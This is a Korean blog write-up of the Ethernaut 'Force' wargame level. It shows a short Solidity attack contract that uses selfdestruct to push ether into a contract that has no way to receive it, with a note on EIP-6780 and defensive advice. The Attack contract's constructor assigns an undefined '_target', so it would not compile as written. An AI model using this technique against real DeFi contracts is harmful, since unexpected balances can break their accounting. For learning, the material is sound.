Ethernaut 7. force

독수리박박·2024년 7월 9일
0
post-thumbnail

Problem


Ethernaut level7 force

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force { /*
                   MEOW ?
         /\_/\   /
    ____/ o o \
    /~____  =ø= /
    (______)__m_m)
                   */ }

문제는 위 컨트랙트의 잔액을 0보다 크게 만드는 것입니다. 컨트랙트 내용은 공유되어 있지 않고 아래의 instance 주소만을 이용해 위 컨트랙트의 잔액을 0보다 크게 만들어야 합니다.

문제는 컨트랙트의 내용을 모르기 때문에 컨트랙트에 receive or fallback 같은 이더를 수신할 수 있는 함수가 구현이 되었는지 모른다는 것 입니다.

Selfdestruct


그렇다면 강제로 컨트랙트가 이더를 받게 해야합니다. 강제로 이더를 받기 위해서는 solidity의 selfdestruct 함수를 호출하고 타켓 주소를 집어넣어주면 해당 컨트랙트의 있던 이더가 강제로 타겟 컨트랙트로 전송됩니다. 타겟 컨트랙트의 구현 상황과 관계없이 이더가 강제로 전송이 되기 때문에 이 문제의 해결 조건을 만족 시킬 수 있게 됩니다.

    function selfDestruct(address _address) public {
        address payable addr = payable(address(_address));
        selfdestruct(addr);
    }

위 예시 코드처럼 타겟 컨트랙트의 주소를 payable로 지정 후 인자로 넣고 selfdestruct 함수를 실행하면 SELFDESTRCT Opcode가 실행되어 컨트랙트의 코드와 스토리지가 모두 삭제된 후 이더는 타겟 컨트랙트로 전송되게 됩니다.

하지만 현재는 덴쿤 업그레이드를 통해 EIP-6780가 도입되어 selfdestruct가 제한되고 있는 상황입니다. 이 부분에 대해서는 조금 더 자세히 공부가 필요할 것 같습니다

EIP-6780: 스마트 컨트랙트에서 SELFDESTRUCT 함수를 제한하여 네트워크 보안과 확장성을 강화하는 것을 목표로 합니다.

Solution


위에서 설명드린 바와 같이 selfdestruct 함수를 이용해 공격 컨트랙트를 작성하면 문제 해결이 가능합니다.

contract Attack {
    address public target;

    constructor(address target) payable {
        target = _target;
    }

    function attack() public {
        selfdestruct(payable(target));
    }
}

remix를 통해 공격 컨트랙트를 배포 후 attack 트랜잭션을 날리면 아래와 같은 결과가 확인가능합니다.

이후 제출하면 문제해결 완료입니다..! 문제를 풀고 어느정도 시간이 지난 뒤 작성하는 글이라 문제를 풀이하는 과정 중의 사진들이 많이 빠져있습니다.

Conclusion

만약 위와 같은 방식으로 다른 컨트랙트에게서 예기치 못한 금액을 받았을 경우 DeFi 프로토콜이나 자금 관리를 위해 사용되는 컨트랙트에서는 금액에 차이가 생겨 내부 로직에 문제가 발생할 수도 있습니다.

따라서 왠만하면 컨트랙트의 selfdestruct을 구현하지 않는 것이 좋고(이더리움 업데이트가 어떤식으로 적용되었는지 알면 좋을 것 같습니다.)

저런 문제에 취약한 컨트랙트일 경우 대비책을 마련해두는 것이 좋습니다.

0개의 댓글